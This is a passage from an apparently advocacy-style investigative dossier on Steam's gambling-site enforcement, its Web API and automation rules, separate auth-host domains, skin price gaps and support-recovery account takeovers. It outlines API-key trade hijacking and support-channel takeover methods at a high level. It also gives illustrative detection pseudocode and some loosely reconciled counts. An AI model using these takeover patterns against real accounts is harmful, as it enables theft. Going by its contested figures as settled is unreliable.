permission. Compare the documented business models, their scale and any disclosed authorisation or enforcement.\n\nInspect the records tagged under this clause\nSSA § 3.A\nVPN & location disguise\n\nDisguising residence through IP proxying can lead to termination. Separate-domain auth hosts require a separate analysis: establish what is disguised and which rule applies.\n\nInspect the auth-host evidence\nSteam Help / URL policy\nLink obfuscation\n\nSteam prohibits link shorteners and tools that obscure link destinations. A separate auth domain — rbsnin.com in Rollbit's login flow, auth.dota.trade in CS.MONEY's — raises the comparable question of whether the destination shown to Steam's OpenID verifier identifies the operating site.\n\nValve's URL policy ↗\n\nRule references: Steam Subscriber Agreement, revision 10 September 2026 archived 2026-09-18 ↗ · Steam Web API Terms of Use archived 2026-09-21 ↗ · Steam URL policy (link obfuscation). Counts describe this dossier's records and tags; they are not a count of adjudicated violations.\n\nThe trust deficit\nWho reviews the decision when support closes the case?\n\nThe preserved complaints describe permanent sanctions, unanswered challenges and refusals to restore stolen items. Test those accounts against the actual ticket history, available remedies and account-access logs. A generic phishing explanation cannot establish who initiated a reset or created an API key.\n\nRead the captured complaints ↗Request the underlying records →Moderator relationship graph →\nPart B — Rules and enforcement record · Section 10\nAn automation API. A rule against automation.\nContext & source limits\n\nThe question this section puts is how the two are reconciled: which uses of the API are authorised, by whom, and on what published criteria. No count of authorised commercial API users is estimated here, and none is implied by the absence of a published list — the absence is the finding, not a number behind it. The Steam Support messages quoted above are reproduced by the ArchiSteamFarm project in its own FAQ (verified verbatim 2026-09-22); they are not Valve publications, and the accounts they were sent to are not identified.\n\nThe rule (SSA § 4.C): no scripts, no bots, no non-human systems on Steam. The record: Valve ships a headless REST API whose entire purpose is server-to-server automation, and hands the key to any account. Users are banned for automation; the automation interface is Valve's own product. Which commercial uses are authorised has never been published.\n\nThe \"Game Developer\" Fallacy\nSteamworks SDK (Legitimate)\n\nUsed by legitimate game studios to integrate achievements, matchmaking, and leaderboards into their game clients. Requires complex C++ integration and official partner onboarding.\n\nSteam Web API (The Loophole)\n\nA headless JSON/REST architecture designed for external web servers. In the hijack pattern documented here it is used to read inventories and manipulate peer-to-peer trades from remote servers; its legitimate uses are not catalogued in this dossier.\n\nWho the key is forAn ordinary Steam user has no in-client need for a Web API key; the key page lives under a developer URL and its documented purpose is external, server-side access. The archived hijack complaints describe victims who did not know the page existed until a key had been registered on their account.\nThe Automation Contradiction\n\nSSA § 4.C provides: \"You may not use any form of scripts, bots, macros, or other non-human-controlled systems ('Automation') to interact with Content and Services on Steam in any manner.\" Yet the Web API endpoints (like CancelTradeOffer) require no human UI and no captcha and bypass the Steam client entirely. The API is designed for server-to-server automation; the rule prohibits automation by users; the boundary between the two is not published.\n\nA server-side position in the trade flow\n\nA Web API key lets a third-party server act on the account's trades without the Steam client. In the hijack pattern, that server sits between the account holder and the trade server.\n\n→ No trade-confirmation screen is shown for the key's actions.\n→ Allows background polling (GetTradeOffers).\n→ Cancels and re-issues offers without user interaction.\nValve built the interface, prohibited user automation in its rules, and has published no criteria for which commercial uses are authorised.\nPart B — Rules and enforcement record · Section 11\nTen days demanded. Ten years to account for.\nContext & source limits\n\nOn 20 July 2016 Valve's general counsel gave gambling operators a 10-day deadline. Ten years later (as of the dossier snapshot, 2026-09-21) at least one platform named in press reports of that notice, CSGOFast, is still operational with a separate-domain auth host. The wording is reconstructed below from press reports of 21 July 2016; the reconstruction is not a scan. The enforcement record the notice implied has not been published. The open letter to the Commission is Section 2.\n\nRead the July 2016 notice beside the later observations. The outstanding demand is an operator-by-operator enforcement record.\n\nOne week earlier — 13 July 2016, in public\n\nOn 13 July 2016 archived 2026-09-21 ↗, Valve described how gambling sites used Steam: OpenID for account identification and automated accounts for trading. Valve stated that using those mechanisms to run a gambling business violated its API and user agreements. Both the description of the mechanism and the prohibition are in Valve's own dated statement. On 2026-09-21 the separate-domain auth hosts tested returned no Link Filter block, and Valve has published no per-operator enforcement record.\n\nVALVE CORPORATION\n\nBellevue, WA\n\nDATE: July 2016 (reported by press 21 July 2016)\nFROM: Karl Quackenbush, General Counsel\nRE: Cease and desist — commercial use of Steam accounts\nNOTE: Reconstruction of reported text; not a scan\n\n\"We are aware that you are operating one of the gambling sites listed below. You are using Steam accounts to conduct this business. Under the Steam Subscriber Agreement, Steam and Steam services are licensed for personal, non-commercial use only.\"\n\n\"You should immediately cease and desist further use of your Steam accounts for any commercial purposes. If you fail to do this within ten (10) days, Valve will pursue all available remedies including without limitation terminating your accounts.\"\n\nReconstruction of the July 2016 notice text, rendered by the authors from press reports of 21 July 2016\nKarl Quackenbush\nGeneral Counsel, Valve Corp.\nTimeline July 2016 – September 2026\nDeadline in the notice:\n10 Days\nJuly 2016\nElapsed since the notice:\n3,715 Days\nFixed count from 20 July 2016 to the dossier snapshot of 21 September 2026, not a live figure\nPublished enforcement record:\nNone\nNo per-operator account of terminations or blocks located\n\n◀ Days 0–10 — the deadline, to scaleDay 3715 — the snapshot ▶\n\n20 Jul 2016Ten-day demand issuedDay 0\n17 Feb 2024DSA obligations applyDay 2,768\n25 Feb 2026NY AG complaint announcedDay 3,507\n21 Sep 2026Dossier snapshotDay 3715\n\nTen years later, CSGOFast — named in press reports of the 2016 notices — is operational: csgofast.com returned a Link Filter block on 2026-09-19 and 2026-09-21, while its auth host steam-login.authtofast.com (registered 2026-06-30) did not.\n\nFull dated record of Valve's security changes: Security Timeline → · The Washington record and the enforcement standard: below\n\nWhat the record shows: the 2016 notice set a 10-day deadline; Valve already operated a domain list (the Link Filter) and received the auth hostnames in its own OpenID requests; no per-operator enforcement record has been published. Community reports describe a 2018 action against a marketplace (SkinJar), but those reports are unverified and are not relied on here.\nCSGOFAST / THE SAVED AUTHENTICATION ROUTE\nFollow the declared return host.\n\nThe saved route record links csgofast.com to steam-login.authtofast.com. The separate hostname is carried in the Steam OpenID request. It gives investigators a concrete address to compare with Valve's filtering and enforcement records.\n\nInspect the CSGOFast route and its source ↗ · Compare saved Steam Link Filter results ↗\n\nPUBLIC RECORD / WASHINGTON · 2016 → 2026\nTwo deadlines. One unanswered enforcement standard.\n20 JUL\nValve gives gambling sites 10 days\n\nIts counsel's demand warned that continued commercial use of Steam accounts could lead to termination.\n\n27 SEP\nWashington presses Valve\n\nThe state's Gambling Commission demanded evidence of steps to stop skin transfers for gambling and set a 14 October response deadline.\n\n17 OCT\nValve rejects the charge\n\nValve answered after the deadline, disputed that it facilitated gambling, said it had disabled associated accounts, and said it did not want to switch off trading and OpenID for everyone. At least one platform named in press reports of the July notices (CSGOFast) was operating a decade later. Both facts can hold only if the operator replaced the disabled accounts; the record that would show this has not been published. The WSGC should ask Valve to reconcile the two.\n\n2026\nThe routes observed in September 2026\n\nThe route register records 44 platforms authenticating through separate-domain auth hosts, including CSGOFast, using the OpenID and trading mechanisms Valve described in 2016. The enforcement record that would show which operators were cut off has not been produced.\n\nTHE COMMISSION'S OWN BRIEFING · 30 JANUARY 2018\nEighteen months after Valve replied, the regulator still called it an intent.\n\nBriefing its own legislature at the HB 2881 public hearing, the Commission described the July 2016 statement in its own words: Valve \"announced its intent to crack down on the use of its platform to facilitate skins gambling.\" The same page records what that announcement did to the industry forecast — \"as a result,\" the projected 2020 skin-gambling market was revised from $19.7 billion to $670 million, a cut of about 97 per cent, on the strength of the announcement alone. The forecast moved. The per-operator enforcement record that would justify it has still not been published.\n\nThe market figures are Narus Advisors / Eilers & Krejcik Gaming estimates reproduced in the Commission's briefing, not Commission findings; the same document puts 2016 skin wagering at about $5 billion, roughly $3 billion of it on casino-style sites. Retrieved 2026-09-22, SHA-256 c507c9025f93da0aadaf395c4d8882f25973211c318ee8e9b6f18a5b3755e050.\n\nValve's public 2016 position and today's observable infrastructure can be put side by side. The question is whether enforcement reached the accounts and routes used by prohibited operators. A ten-day notice is not evidence that the notice was carried out across the operators it named. The 2018 OPSkins action is the one documented intervention against a named operator; set against 189 platforms checked and no published per-operator record, one documented action does not show a pattern of enforcement.\n\nWashington Gambling Commission's 2016 notice ↗ archived 2026-05-20 ↗ · Valve's 17 October 2016 response (document copy) ↗ · WSGC briefing to the legislature, 30 January 2018 (local copy, 4 pp.) ↗ · the same file on wsgc.wa.gov ↗ · retrieval record & hash ↗ · Valve's 2018 OPSkins action ↗ archived 2026-03-07 ↗ · Current route audit ↗\n\nForensic Longitudinal Audit · 2016 Cease & Desist Targets\nThe 10-Day Notice Decade: Forensic Survival Audit of the 23 Named Sites\n\nOn 19–20 July 2016, Valve General Counsel Karl Quackenbush issued formal cease-and-desist notices to 23 skin gambling platforms, ordering them to cease commercial use of Steam accounts within 10 days under threat of account termination and legal action. Over 3,700 days later, an empirical audit reveals the true pattern of enforcement: multiple operators never ceased operations, others ran for up to six years after the deadline, and the multi-billion-dollar ecosystem continued to leverage Valve's OpenID architecture.\n\n5+ LIVE\nDefiantly operational in 2026 (CSGOBig, CSGO500, CSGOFast, etc.)\n6 YEARS\nLongest post-notice run before closure (CSGOatse active through 2022)\n$5.01B\n2016 skin wagering volume (Narus / Eilers & Krejcik)\n200+\nActive skin gambling sites operating at market peak\nPlatform / Domain\tJuly 2016 Notice\tEnforcement Outcome & Survival Status\tRecorded Verification / Primary Links\nCSGOBig\ncsgobig.com\t10-Day Notice (Jul 2016)\tSTILL LIVE IN 2026\nTemporarily paused, relaunched; authenticates via letmeinbig.com & csgobiglogin.com\tX: @csgobig ↗ · FB: csgobigofficial ↗\nCSGO500\ncsgo500.com / 500.casino\t10-Day Notice (Jul 2016)\tSTILL LIVE IN 2026\nRebranded into 500 Casino (Curaçao license #8048/JAZ2014-037), multi-million monthly turnover\tLive Platform (500.casino) ↗\nCSGOFast\ncsgofast.com\t10-Day Notice (Jul 2016)\tSTILL LIVE IN 2026\nActively operating roulette, crash, and jackpot via steam-login.authtofast.com\tDossier Auth Audit ↗\nCSGOLounge / Dota2Lounge\ncsgolounge.com / dota2lounge.com\t10-Day Notice (Jul 2016)\tSTILL LIVE IN 2026\nPivoted to esports coin wagering and crypto betting; maintained continuous operation\tLive Platform ↗\nCSGOCasino\ncsgocasino.net / csgocasino.gg\t10-Day Notice (Jul 2016)\tLIVE VIA SUCCESSOR (2026)\nDomain redirected; active successor portal operates under csgocasino.gg\tSuccessor Domain ↗\nCSGOatse\ncsgoatse.com\t10-Day Notice (Jul 2016)\tSURVIVED 6 YEARS (ACTIVE TO 2022)\nContinued full gambling operations for six years following Valve's 10-day ultimatum\tX: @CSGOatsecom (Active to 2022) ↗\nCSGOSweep\ncsgosweep.com\t10-Day Notice (Jul 2016)\tSURVIVED TO DEC 2017\nOperated publicly for 17 months after deadline\tX: CSGOSweep Status Dec 2017 ↗\nCSGOWild\ncsgowild.com\t10-Day Notice (Jul 2016)\tSURVIVED TO DEC 2017\nPromoted by major influencers; ran for 1.5 years post-C&D before crypto migration\tX: @Wild (Active Dec 2017) ↗\nCSGOPot\ncsgopot.com\t10-Day Notice (Jul 2016)\tSURVIVED TO SEPT 2017\nOperated high-stakes jackpot betting 14 months past notice\tX: @csgopot (Active Sep 2017) ↗\nCSGODiamonds\ncsgodiamonds.com\t10-Day Notice (Jul 2016)\tSURVIVED TO MID 2017\nRan through 2017 despite admitted outcome tampering for sponsored streamers\tX: @csgodiamondscom (2017) ↗\nCSGOLotto\ncsgolotto.com\t10-Day Notice (Jul 2016)\tCLOSED JULY 2016\nShut down under public scandal; target of federal FTC consent order\tFTC Consent Order (Docket C-4632) ↗\nCSGODouble\ncsgodouble.com\t10-Day Notice (Jul 2016)\tCLOSED JULY 2016\nShut down voluntarily immediately after C&D publication\tX: @CSGODouble (Closed Jul 2016) ↗\nCSGOMassive\ncsgomassive.com\t10-Day Notice (Jul 2016)\tCLOSED 2016\nCeased public operations in late 2016\tX: @csgo_massive ↗\nCSGOStrong\ncsgostrong.com\t10-Day Notice (Jul 2016)\tCLOSED 2016\nCeased public operations in 2016\tFB: csgostrongfree ↗\nSkins2\nskins2.com\t10-Day Notice (Jul 2016)\tCLOSED 2016\nCeased public operations in 2016\tFB: CSNCOM ↗\nThe Surviving Titans · 2024–2026 Financial & Traffic Blueprint\nFrom 10-Day Warnings to Offshore Conglomerates: The Multi-Billion-Dollar Turnover\n\nRather than eliminating skin gambling, Valve's 2016 notices catalyzed an industrial evolution. The surviving operators restructured as offshore corporate entities (Curaçao, Belize, Cyprus), pioneered Peer-to-Peer (P2P) trading to bypass bot bans, and now process over 10 million monthly web visits and billions of dollars in annual wagering handle while continuing to authenticate through Steam:\n\nPlatform\tMonthly Traffic (Visits)\tEstimated Turnover / Volume\tCorporate Entity & Jurisdiction\tKey Regulatory Actions & Model\nCSGOEmpire\ncsgoempire.com\t2.3M — 9.0M / mo\nAvg 6+ min duration; 80% direct\t$1.5B — $2.5B Annual Handle\n>1,000,000 P2P skin trades/mo; $6.4M active liquid order floor\tMoonrail Limited B.V. (Curaçao #148182)\nPayments: JHOLT LTD (Cyprus); Founder: \"Monarch\" (Ossi Ketola)\tPioneered 0% fee P2P item trading; licensed Curaçao OGL/2024/1183/0869\nCSGORoll\ncsgoroll.com\t2.74M — 3.5M / mo\nAvg 9m 23s duration; 16% bounce rate\t$1.0B — $2.0B Annual Handle\nEst. $100M–$200M annual corporate revenue from house edge\tFeral Holdings Limited\nHeadquartered in Belize City, Belize (Reg #171519)\tBanned by Australian ACMA (May 2023); sponsored tier-1 team G2 Esports with underage players\n500 Casino (CSGO500)\n500.casino / csgo500.com\t220K — 425K / mo\n~105k unique monthly visitors\t$100k / week ($5.2M/yr) in Royales\nHigh-roller wagering requirement: $400 wager per $1 rakeback\tPerfect Storm B.V. (Curaçao #150536)\nCuraçao Gaming Control Board license OGL/2024/1354/0882\tBanned by Swedish Spelinspektionen (Nov 2023) for unlicensed targeting of Swedish players\nCSGOBig\ncsgobig.com\t~169,600 / mo\nAvg duration 19m 12s; US primary\tMulti-Million Annual Volume\nMystery boxes, roulette, and case battles\tOperates via auxiliary proxy routing\nletmeinbig.com (reg 2023) & csgobiglogin.com\tTarget of July 2016 C&D; relaunched with proxy auth architecture\nCSGOFast\ncsgofast.com\t~150K — 250K / mo\nGlobal multi-language audience\tMulti-Million Annual Volume\nHigh-velocity roulette and crash games\tOffshore operational entities\nRoutes Steam auth via steam-login.authtofast.com\tTarget of July 2016 C&D; never discontinued operations; active in 2026\nCSGOPolygon\ncsgopolygon.com / plg.bet\t~300K — 500K / mo\nCIS and Eastern European dominance\tMulti-Million Annual Volume\nCrypto & skin roulette, match betting\tSecond-wave target (Oct 2016)\nPivoted to cryptocurrency with mirror domain plg.bet\tSurvived a full decade; continues skin liquidation via third-party APIs\nThe Second Wave: Why Valve's C&D Targeted 43+ Sites in Total\n\nOn 17 October 2016, Valve's legal counsel formally disclosed to the Washington State Gambling Commission that following the initial 23 notices on July 19, Valve had sent cease-and-desist letters to more than 20 additional skin gambling sites (bringing the official total above 43). This second wave was necessitated because the initial list inexplicably omitted the largest, most notorious gambling hubs in the world:\n\nCSGOJackpot.com: The historic originator of skin jackpots, which handled hundreds of millions in volume before shuttering under threat of federal indictment.\nCSGOShuffle.com: The site at the heart of the July 2016 streaming scandal, where Twitch streamer PhantomL0rd secretly owned 33% of the company and was exposed rigging odds with house funds.\nThe Macro Ecosystem (200+ Operators): According to industry research by Narus Advisors and Eilers & Krejcik Gaming, over 200 distinct skin gambling sites operated in 2016, generating $5.01 Billion in wagering volume from 3.03 million active players. Valve's 43 letters addressed less than 20% of the active market.\nOfficial Government & Regulatory Investigations on Steam Skin Gambling\n\nThe skin gambling phenomenon is documented across multiple formal statutory inquiries, enforcement actions, and government position papers:\n\n1. Washington State Gambling Commission (WSGC) (2016–2018)\n\nIssued formal Cease & Desist demand on 5 Oct 2016; published Legislative Briefing on 30 Jan 2018 documenting that skins are cash equivalents and reporting the $5.0B skin wagering volume.\n\nWSGC Legislative Report PDF (Local Copy) ↗\n2. U.S. Federal Trade Commission (FTC) (Sept 2017, Docket C-4632)\n\nFirst federal regulatory enforcement action involving skin gambling against CSGOLotto owners Trevor Martin and Thomas Cassell for deceptive practices and undisclosed platform control.\n\nFTC Decision & Consent Order ↗\n3. UK Gambling Commission (UKGC) Position Paper & Youth Audits\n\nThe Commission treats in-game items convertible to cash as money’s worth. Its 2018 survey found that 3% of 11–16-year-olds said they had ever bet with in-game items (skins).\n\nUKGC 2018 youth survey ↗\nUKGC position on virtual currencies ↗\n4. Australian Senate Environment & Communications Inquiry (2018)\n\nFederal Parliamentary report on \"Gaming micro-transactions for chance-based items\", evaluating Valve's loot box mechanics, secondary market cashouts, and regulatory circumvention.\n\nParliament of Australia Inquiry ↗\nThe outstanding demand\n\nPublish the enforcement record: which gambling accounts and bots were disabled, which return hosts were restricted, and which commercial services received permission. A public prohibition and a homepage warning do not establish that the underlying operation was stopped.\n\nPart B — Rules and enforcement record · Section 12\nThe hostname is already in the request.\nContext & source limits\n\nValve already maintains a domain list (the Link Filter) and already receives the auth hostname in every OpenID request. The pseudocode below shows the logical shape of connecting the two. No public evidence shows that Valve does so.\n\nValve already runs a domain blocklist. Valve already receives the login host in every OpenID request. Nothing needs building — the two have to be joined. That is a hostname lookup against a list Valve maintains itself. The pseudocode below is an illustration, not Valve's implementation.\n\nforensic_autoban.py\n# ILLUSTRATIVE PSEUDOCODE — Valve.block_domain() and flag_session_as_mitm() are not real API calls. This demonstrates the logical structure of a mitigation Valve could implement against proxy auth domains, not actual Valve internals.\n# Illustration: the logical shape of a check on the incoming OpenID request\ndef audit_openid_request(request):\nblocked_origins = database.get_blacklisted_platforms()\nproxy_domain = request.params.get('openid.realm')\ntarget_redirect = request.params.get('openid.return_to')\n\n# Logic: If the proxy routes back to a blocked site, ban the proxy.\nfor site in blocked_origins:\nif site in target_redirect:\nValve.block_domain(proxy_domain)\nValve.flag_session_as_mitm(request.session)\n# Result: the login request for that host is refused\n\nObservation:\nWhere a main domain is already on the Link Filter (e.g. howl.gg, blocked 2026-09-18/19/21) and its auth host (howl.uno) appears in the OpenID request from that site's login button, the association is observable to Valve from its own request data. The check is automatable; whether it is run is not.\nDocumented and reported precedents\n\nValve has intervened against a third-party operator at least once on the record: in 2018 it revoked OPSkins' access over the ExpressTrade system (Valve's announcement ↗ archived 2026-03-07 ↗). Community reports from 2018 also describe a marketplace (SkinJar) losing access; those reports are unverified and the mechanism is inferred from the outcome, not from a disclosed process.\n\nWhat the precedent establishes:\n\nValve can cut off a third-party operator's access when it decides to. CSGOFast, named in press reports of the July 2016 notices, was operating on 2026-09-21 with an auth host registered 2026-06-30 that returned no Link Filter block. Why one operator was cut off and others were not is not explained by any published criteria.\n\nWhat a registration date does and does not show\n\nThe registration date of an auth host is a lower bound on when the host could first have appeared in an OpenID request; it does not establish continuous use. sc-auth.net, for example, was registered 2019-04-02 (RDAP) and was observed in Skin.Club's Steam login flow in September 2026; what happened between those two dates is not in the public record.\n\nComparative Audit: API Compliance Standards\nEnforcement Dimension\tGitHub API Rules\tSteam Web API (Valve)\n1. Compliance Neutrality\tPublished, uniform rules. Documented rate limits (e.g. 5,000 calls/hr for authenticated users, 15,000/hr for GitHub Enterprise Cloud organisations) and published acceptable-use policies apply to every account.\tNo published criteria. Individual accounts are terminated under the automation and commercial-use clauses (archived complaints), while no per-operator enforcement record for commercial platforms has been published.\n2. OpenID / Auth Proxy Abuse\tGitHub's published policies allow OAuth apps and tokens to be suspended or revoked for abuse, and its documentation describes automatic revocation of exposed tokens (authors' summary of GitHub documentation).\tSeparate-domain auth hosts observed in Steam OpenID flows (e.g. rbsnin.com, howl.uno, sc-auth.net) returned no Link Filter block on 2026-09-21 while their main domains did.\n3. Monetization of Abuse\tGitHub takes no transaction fee on items moved by third-party automation; its revenue model is subscriptions and marketplace listings.\tValve sells the case keys that produce the items, and the Community Market charges a combined fee of about 15% on sales completed inside the Market. No figure for revenue attributable to third-party platforms is estimated here.\n4. Evasion Loop Lifespans\tSuspended OAuth client IDs stop working platform-wide at suspension; the documentation does not publish a time-to-action figure and none is assumed here.\tSeparate-domain auth hosts with registration dates from 2011 to September 2026 returned no Link Filter block in the checks of 2026-09-19 and 2026-09-21. Registration date is a lower bound on possible use, not proof of continuous use.\nSources: GitHub column — GitHub's published API rate-limit and platform-policy documentation (authors' summary, not quoted) · Steam column — Link Filter checks of 2026-09-19 and 2026-09-21 (linkfilter-recheck-2026-09-21.json), RDAP registry (domain-registration.json) and the archived support complaints (evidence archive).\nPart B — Rules and enforcement record · Section 13\nThe off-Steam price gap\n\nThe item sits in a Steam inventory; the sale happens elsewhere. A Factory New AWP Dragon Lore had 62 live offers on CSFloat; the cheapest asked $10,623.95. Steam's own market cannot display an asking price above approximately $1,800. To sell for the observed higher price, an owner needs an off-Steam buyer or marketplace. The item and its transfer still depend on Steam.\n\nContext & source limits\n\nThree different counts appear in this section and they are not interchangeable. 245 is the number of CS2 item-name categories whose cheapest active offer exceeded $1,800 on CSFloat alone, 20 September 2026. 241 is that same set minus the four categories pinned at CSFloat's $100,000 ceiling, which is the panel the $13.63M floor is calculated on. 248 is a different snapshot: categories priced above the cap by two or more of five marketplaces on 23 September 2026. The marketplaces overlap, so counts from different venues must never be added. Every figure here is an asking price, not a completed sale, and none of it is revenue, turnover or profit — for Valve or for anyone else. PriceEmpire's listed values are rounded estimates published by that site, and its Steam card covers items from other Steam games, so the scopes across the comparison are not identical.\n\nOne item. Two price systems.FOLLOW THE RECORD\nSTEAMAbout $1,800Published Community Market listing cap\nSAVED CATALOGUE$10,623.95Factory New AWP Dragon Lore floor ask\nTHE DEPENDENCYStill a Steam itemThe inventory and transfer remain on Steam\n\nAt that ask, the seller needs an off-Steam venue or buyer. The item still depends on Steam's inventory and transfer system.\n\n01 / ITEMValve game inventoryCS2 or Dota 2 item held in Steam\n02 / CEILINGAbout $1,800 on SteamMaximum price for one Market listing\n03 / OUTSIDE ASK$10,623.95 for Dragon LoreCheapest CSFloat offer in the dated snapshot\n04 / DELIVERYSteam remains in the chainOwnership and item transfer rely on its system\n245 CS2 categories on CSFloat.166 CS2 and 3 Dota 2 categories on Skinport.\n\nEach figure counts item-name categories whose cheapest active offer was strictly above $1,800 on 20 September 2026. The marketplaces overlap; their counts must not be added. An offer is not a completed sale.\n\nInspect the item-level register →\nDIRECT CSFLOAT API / DATED SNAPSHOT$13.63M\n\nMinimum aggregate asking value in 241 item categories and 3,395 active offers. Calculated as each category's cheapest ask × its offer count. Four categories pinned at CSFloat's $100,000 ceiling are excluded from this conservative panel.\n\nWhat the dollar figure shows\n\nThese offers represent at least $13,631,888.25 in posted asking prices for this limited CSFloat subset. Including the four ceiling-priced categories produces $14,231,888.25. This is a floor on active asks, not completed sales, cash turnover, profit or the entire CS2 market.\n\nRecalculate from the 245-row CSFloat snapshot ↗\nPRICEEMPIRE / LISTED VALUESteam: #15 of 39\nMany venues list more dollar value than Steam.\nUUSkins\n$133.8M\nYouPin898\n$127.5M\nBuff.163\n$104M\nMoon.Market\n$100.3M\nWhite.Market\n$89.6M\nBuff.Market\n$86.7M\nSteam\n$31M\n\nThe six largest displayed values and Steam. PriceEmpire rounds these figures; Steam shows $31M. Fourteen listed venues rank ahead of it by the displayed dollar values.\n\nPRICEEMPIRE / OFFER COUNTSteam: #1 of 39\nSteam still leads in number of offers.\nSteam\n32.2M\nYouPin898\n5.9M\nC5Game\n4.6M\nHaloSkins\n4.4M\nSkinport\n3.8M\n\nSteam shows 32.2M offers. Number of offers and total asking value answer different questions; many low-priced listings can dominate the count.\n\nSource: PriceEmpire's public comparison ↗ archived 2026-09-21 ↗, captured 2026-09-20 19:03 UTC; dated 39-row extraction ↗. Its figures are rounded estimates, and inventory can overlap across sites. Steam's card also describes items from other Steam games, so the scopes are not identical. Listed value measures asking prices, not sales or revenue.\n42\nANOTHER SOURCE / STEAMANALYST\nThe commercial ecosystem is in plain sight.\n\nSteamAnalyst's marketplace directory archived 2026-07-19 ↗ lists 42 third-party CS2 marketplaces alongside Steam, with recent price data for 32 of the 43 entries. PriceEmpire lists 39 marketplaces under its own inclusion criteria. Named businesses, public offers, visible prices: this economy is open to inspection.\n\nTHE CEILING IS THE MECHANISM: THE SALE LEAVES STEAM, THE ITEM DOES NOT.\n\nAcross five marketplaces captured in one licensed snapshot, 248 CS2 item categories are independently priced above Steam's approximately $1,800 listing ceiling by two or more of them — and every single one is absent from Steam. The same snapshot banded the whole catalogue by price: Valve's market carries 95.3% of the item categories below its cap and 1.9% of those above it. The collapse does not track falling demand; it lands exactly on the published rule. Selling at those prices requires an outside buyer or marketplace, while Steam still controls the inventory and the transfer — the business leaves Valve's checkout and the delivery stays on Valve's infrastructure.\n\nSteam Market FAQ ↗archived 2026-09-21 ↗Steam Subscriber Agreement ↗archived 2026-09-21 ↗Five-marketplace atlas dataset ↗Provenance manifest ↗Earlier CSFloat snapshot ↗Skinport snapshot ↗PriceEmpire ↗ archived 2026-09-21 ↗SteamAnalyst ↗ archived 2026-07-19 ↗Price-gap register ↗Price-ladder atlas ↗\n\nPart C — Legal frameworks\nPart C — Legal frameworks · Section 14 · Personnel access\nWho can reset the safeguards?\nContext & source limits\n\nAccount security also depends on the people who can recover an account, inspect private records or reset its safeguards. The investigation must follow those privileged actions as closely as it follows API abuse.\n\nAccount recovery hands a support agent the power to move an account away from its owner. Valve has confirmed in writing, twice — February 2023 and November 2025 — that this power was used to hand accounts to the wrong people. Thirty-three months apart, through the same channel. Below: what that access is worth, six sourced cases, and the log Valve holds for every one of them and has produced to nobody.\n\nPreserved testimony / 9 May 2025\nA recovery ticket that disabled the account's security, and a reported $10,000 loss\n\nA user in the collected support archive reports that Steam Support reset the password and disabled account protection after another person submitted a recovery ticket. The author says the account had been inactive for years, held items since 2016–2017 and had Steam Guard, a linked phone and stored recovery codes.\n\n\"Steam Support still gave someone else access to my account.\"\n\nFirst-person allegation, preserved in steam_support_tickets_MEGA.json, record 110. Read the complete captured post ↗\n\nThis is not one user's bad luck. The same door — a help request that moves an account to whoever supplies the older data — is the documented way in for every case in the ledger below, and Valve has twice put that in writing.\n\nThe owner cannot win that argument. Recovery asks for the first CD key, the first email, the first card, the first phone number. Those facts are in Valve's database, and support-side access reads them — reported as reaching back fifteen years. A person who has a copy of your file will always produce more of your history than you can. Targets were picked to fit: dormant for years, high-value, and often bought second-hand, so the holder never knew the original key. Afterwards the accounts were deleted outright, breaking the item-history trail the community uses to trace a skin — a deletion an ordinary user cannot perform without the standard waiting period.\n\nLeast privilege / OWASP A01\n\nRecovery privileges should be limited to the task, independently reviewed and logged. Audit who could reset credentials, remove Steam Guard, read billing records or export account data. OWASP access-control guidance ↗ archived 2026-09-20 ↗\n\nBroad support access\nAccess-scope risk\nBeyond the inventory.\n\nIf broad support access is abused, private telemetry can become a tool for profiling, targeted phishing and surveillance. Potential victims include ordinary users, military personnel, public figures and their families. This is a threat model; the exact permissions require access-control records.\n\n01 IP history & location\nIP logs can expose network history and approximate location. They do not, by themselves, establish precise physical movements.\n02 Device fingerprinting\nDevice identifiers, where collected and accessible, can connect sessions and accounts.\n03 Activity telemetry\nLogin timestamps and session records can reveal routines, including activity invisible on a public profile.\n04 Communications & contacts\nAccess to retained messages or contact information would increase the scope for profiling and social engineering.\n05 Identity unmasking\nOriginal email, phone and payment records can connect a pseudonymous account to a person.\n06 Data resale & accountability\nExported target lists could support targeted scams. Establish the actor, access location, recipients and transfers; location alone establishes neither access nor legal immunity.\n\nValve describes IP logging, device information, payment records and third-party support providers in its Privacy Policy §§ 3, 5.2 archived 2026-09-21 ↗. The policy authorises third-party support access — the audit trail that would show which contractor accessed which category, when, and under what authorisation has not been disclosed.\n\nSection 14.1 · the register · June 2022 → November 2025 · every figure sourced\nValve admitted the door twice, thirty-three months apart. It never closed.\n\nSix reported cases in which accounts were taken through Steam's own help-request channel, or through the credentials that channel protects. Each amount is the figure the cited source published, and each source is named. Two of the six were made whole. The difference between them and the rest was not what happened — it was who was watching.\n\nValve, in writing — February 2023\"The items in question were removed from your account because they were received from an account that was compromised through a support help request, for which the CS:GO team takes responsibility. We have reversed the trades and removed them from any account which received them.\"Steam Support reply to a recipient of HFB's items, reproduced by Dexerto, 21 February 2023 ↗ archived 2025-08-18 ↗\nValve, in writing again — November 2025 · 33 months later\"A support technician that handled the help request failed to follow our process which resulted in your account restored to someone else. I apologize for this error.\"Steam Support reply to Hawkeye337, quoted in Dexerto, 14 November 2025 ↗\n21 Jun 2022\nHFB — the largest inventory in the game$2,000,000+ · raised to $3,000,000+ in the February 2023 follow-up\n\nSeven Souvenir AWP Dragon Lores and the #1 Blue Gem Karambit, that knife alone valued at about $1.26 million. The account had been dormant three years with the mobile authenticator still active; the email and password were changed anyway, through the support recovery route.\n\nThe money left before the items did. A reported $200,000+ of sale proceeds was already withdrawn through market.csgo.com — a marketplace that settles in cash and crypto. Reversing a trade returns a skin. It does not return the cash somebody already banked.\n\nAnd the fix broke. One buyer moved his Souvenir Dragon Lore into an in-game Storage Unit. Valve's rollback script could not see inside its own container, so it issued the owner a fresh copy and left the hidden one standing — Valve duplicated a $130,000 item while trying to undo a theft. It was caught by matching item IDs and community reporting, and deleted a month later, in July 2022. The buyer was refunded by BUFF, not by Valve. Emergency remediation this brittle is not a control; it is what a platform does when it has no control.\n\nDexerto, 21 Jun 2022 ↗ archived 2022-07-02 ↗ · Kaspersky ↗ · cash-out figure per Esportfire, 22 Jun 2022 ↗ archived 2026-05-15 ↗, attributed there to multiple Twitter sources · duplication and deletion per Esportsbetting, 14 Jul 2022 ↗\n\nRestoredTrades reversed. Items pulled back out of the inventories of people who had paid full price for them.\n14 Aug 2022\nCS.Money — the platform's own bots$6,300,000 · 19,000+ skins · first estimate $1.6M\n\nAttackers took the mobile-authenticator files of the marketplace's trading bots and emptied them, then sent part of the haul to well-known traders to blur the trail. Community researchers mapped 55 attacker accounts within hours and published them.\n\nValve reversed 